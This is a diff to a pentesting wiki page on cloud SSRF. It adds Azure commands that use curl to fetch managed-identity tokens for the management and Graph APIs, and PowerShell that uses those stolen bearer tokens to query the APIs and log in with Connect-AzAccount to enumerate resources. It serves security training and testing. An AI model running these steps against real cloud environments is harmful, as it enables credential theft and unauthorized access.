GitBook: [#3505] No subject

pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md

@@ -315,8 +315,10 @@ ls /opt/microsoft
 #and the file
 ls /opt/microsoft/msodbcsql17
 
-# Get token
+# Get management token
 curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
+# Get graph token
+curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
 
 # API
 # Get Subscriptions
@@ -331,9 +333,21 @@ curl -H "Authorization: $TOKEN" "$URL"
 ```
 
 ```powershell
-# API requests in powershell
+# API request in powershell to management endpoint
 $Token = 'eyJ0eX..'
 $URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
+$RequestParams = @{
+ Method = 'GET'
+ Uri = $URI
+ Headers = @{
+  'Authorization' = "Bearer $Token"
+ }
+}
+(Invoke-RestMethod @RequestParams).value
+
+# API request to graph endpoint (get enterprise applications)
+$Token = 'eyJ0eX..'
+$URI = 'https://graph.microsoft.com/v1.0/applications'
 $RequestParams = @{
  Method = 'GET'
  Uri = $URI
@@ -342,6 +356,22 @@ $RequestParams = @{
  }
 }
 (Invoke-RestMethod @RequestParams).value
+
+# Using AzureAD Powershell module witho both management and graph tokens
+$token = 'eyJ0e..'
+$graphaccesstoken = 'eyJ0eX..'
+Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc
+
+# Try to get current perms over resources
+Get-AzResource
+## The following error means that the user doesn't have permissions over any resource
+Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
+At line:1 char:1
++ Get-AzResource
++ ~~~~~~~~~~~~~~
+ + CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ + FullyQualifiedErrorId :
+Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
 ```
 
 ## OpenStack/RackSpace <a href="#2ffc" id="2ffc"></a>